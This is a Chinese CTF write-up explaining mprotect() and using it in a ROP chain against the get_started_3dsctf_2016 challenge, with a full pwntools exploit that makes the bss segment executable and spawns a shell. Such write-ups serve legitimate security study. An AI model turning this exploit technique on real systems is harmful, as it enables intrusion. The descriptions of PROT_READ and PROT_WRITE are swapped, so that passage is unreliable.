**mprotect()**函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

原型:

int mprotect(const void *start, size_t len, int prot);

第一个参数:需改写属性的内存中开始地址

第二个参数:需改写属性的内存长度

第三个参数:需要赋予的权限

Prot 的取值如下:

1
2
3
4
5
6
7
1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

  • Prot=7 是可读可写可执行的最高权限

一般用于在利用shellcode方式进行栈溢出时,但是bss段没有足够的权限来写入shellcode时,可以利于mprotect函数来改写bss段的权限

例题分析:

get_sta、rted_3dsctf_2016

  1. 可以看到只开启了nx保护

    程序中有直接可以读取flag的get_flag函数,但这次我们使用mprotect的方式来直接拿shell

  2. 使用gdb中的vmmap先来看一下bss段的权限

  3. 确定好溢出位后payload布局如下

    mprotect函数+pop *;ret+参数1\2\3+返回地址[read函数]+pop *;ret+参数1\2\3+返回地址[shellcode_addr]

    也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret来返回到指定地址如read函数上以读取shellcode到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret片段返回到shellcode的位置上即可。

  4. EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    from pwn import *
    p=process('./get_started_3dsctf_2016')
    #p=remote('node3.buuoj.cn',28216)
    elf=ELF('./get_started_3dsctf_2016')
    context.terminal = ["tmux","splitw","-h"]
    context.log_level = "debug"
    bss_addr = 0x80eb000
    shellcode_addr = 0x080EB500
    pop_3_ret=0x080483b8 #pop esi;pop edi;pop ebp;ret
    payload='a'*0x38
    payload += p32(elf.symbols['mprotect'])
    payload += p32(pop_3_ret)
    payload += p32(bss_addr)
    payload += p32(0x1000)
    payload += p32(0x7)
    payload += p32(elf.symbols['read'])
    payload += p32(pop_3_ret)
    payload += p32(0)
    payload += p32(shellcode_addr)
    payload += p32(0x100)
    payload += p32(shellcode_addr)

    p.sendline(payload)
    sleep(1)
    payload=asm(shellcraft.sh())
    #gdb.attach(p)
    p.sendline(payload)
    p.interactive()
  5. 再看bss段权限